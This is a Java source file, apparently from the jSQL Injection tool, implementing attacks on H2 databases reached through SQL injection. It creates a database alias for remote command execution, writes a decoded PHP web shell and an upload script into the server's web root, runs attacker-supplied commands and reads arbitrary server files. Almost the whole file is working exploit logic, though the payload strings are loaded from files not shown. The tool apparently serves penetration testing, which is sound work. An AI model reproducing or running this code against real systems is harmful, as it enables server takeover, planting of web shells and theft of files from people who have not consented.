View Javadoc
1   package com.jsql.model.accessible.engine;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ResourceAccess;
6   import com.jsql.model.accessible.engine.h2.ModelYamlH2;
7   import com.jsql.model.bean.database.MockElement;
8   import com.jsql.model.suspendable.Input;
9   import com.jsql.view.subscriber.Seal;
10  import com.jsql.model.exception.AbstractSlidingException;
11  import com.jsql.model.exception.JSqlException;
12  import com.jsql.model.exception.JSqlRuntimeException;
13  import com.jsql.model.suspendable.SuspendableGetRows;
14  import com.jsql.util.LogLevelUtil;
15  import com.jsql.util.StringUtil;
16  import org.apache.commons.lang3.RandomStringUtils;
17  import org.apache.commons.lang3.StringUtils;
18  import org.apache.logging.log4j.LogManager;
19  import org.apache.logging.log4j.Logger;
20  import org.yaml.snakeyaml.Yaml;
21  
22  import java.io.File;
23  import java.io.FileInputStream;
24  import java.io.IOException;
25  import java.io.InputStream;
26  import java.net.http.HttpResponse;
27  import java.util.UUID;
28  import java.util.function.BinaryOperator;
29  
30  public class ExploitH2 {
31  
32      private static final Logger LOGGER = LogManager.getRootLogger();
33      private final InjectionModel injectionModel;
34      private final ModelYamlH2 modelYaml;
35  
36      public ExploitH2(InjectionModel injectionModel) {
37          this.injectionModel = injectionModel;
38          var yaml = new Yaml();
39          this.modelYaml = yaml.loadAs(
40              injectionModel.getMediatorEngine().getH2().instance().getModelYaml().getResource().getExploit(),
41              ModelYamlH2.class
42          );
43      }
44  
45      public void createUdf() throws JSqlException {
46          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query");
47  
48          this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getDropAlias(), "alias#drop");
49          this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getCreateAlias(), "alias#create");
50          var result = this.injectionModel.getResourceAccess().getResult(String.format(
51              this.modelYaml.getRce().getRunCmd(),
52              ResourceAccess.WEB_CONFIRM_CMD +"%20"
53          ), ResourceAccess.RUN_FUNC);
54          if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
55              LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
56              this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
57                  (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitH2().runRce(command, terminalID)
58              ));
59          }
60      }
61  
62      public String runRce(String command, UUID uuidShell) {
63          String result;
64          try {
65              result = this.injectionModel.getResourceAccess().getResult(String.format(
66                  this.modelYaml.getRce().getRunCmd(),
67                  command.replace(StringUtils.SPACE, "%20")
68              ), ResourceAccess.RUN_FUNC);
69          } catch (JSqlException e) {
70              result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
71          }
72          this.injectionModel.sendToViews(new Seal.GetTerminalResult(
73              uuidShell,
74              result.trim() +"\n"  // missing newline on some extensions
75          ));
76          return result;
77      }
78  
79      public String createWeb(String pathExploit, String urlExploit) {
80          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge");
81  
82          String bodyExploit = StringUtil.base64Decode(
83                  this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
84              )
85              .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
86              .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
87  
88          var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
89          this.injectionModel.injectWithoutIndex(String.format(
90              this.modelYaml.getRce().getCreateTable(),
91              nameTable,
92              nameTable, bodyExploit.replace("'", "\"")
93          ), ResourceAccess.TBL_CREATE);
94          var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
95          this.injectionModel.injectWithoutIndex(String.format(
96              this.modelYaml.getRce().getScriptSimple(),
97              pathExploit + nameExploit,
98              nameTable
99          ), ResourceAccess.TBL_DUMP);
100 
101         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
102             String result = this.injectionModel.getResourceAccess().callCommand(
103                 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
104             );
105             if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
106                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
107                 return StringUtils.EMPTY;
108             }
109             this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
110             return urlSuccess;
111         };
112 
113         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
114     }
115 
116     public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
117         String bodyExploit = StringUtil.base64Decode(
118                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
119             )
120             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
121             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
122 
123         var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
124         this.injectionModel.injectWithoutIndex(String.format(
125             this.modelYaml.getRce().getCreateTable(),
126             nameTable,
127             nameTable, bodyExploit.replace("'", "\"")
128         ), ResourceAccess.TBL_CREATE);
129         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
130         this.injectionModel.injectWithoutIndex(String.format(
131             this.modelYaml.getRce().getScriptSimple(),
132             pathExploit + nameExploit,
133             nameTable
134         ), ResourceAccess.TBL_DUMP);
135 
136         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
137             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
138                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
139                 if (result.body().contains(DataAccess.LEAD +"y")) {
140                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
141                 } else {
142                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
143                 }
144             } catch (InterruptedException e) {
145                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
146                 Thread.currentThread().interrupt();
147             } catch (IOException | JSqlException e) {
148                 throw new JSqlRuntimeException(e);
149             }
150             return urlSuccess;
151         };
152 
153         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
154     }
155 
156     public String getRead(String pathFile) throws AbstractSlidingException {
157         return new SuspendableGetRows(this.injectionModel).run(new Input(
158             String.format(
159                 this.injectionModel.getResourceAccess().getExploitH2().getModelYaml().getFile().getReadFromPath(),
160                 pathFile
161             ),
162             new String[]{ StringUtils.EMPTY },
163             false,
164             1,
165             MockElement.MOCK,
166             ResourceAccess.FILE_READ
167         ));
168     }
169 
170     public ModelYamlH2 getModelYaml() {
171         return this.modelYaml;
172     }
173 }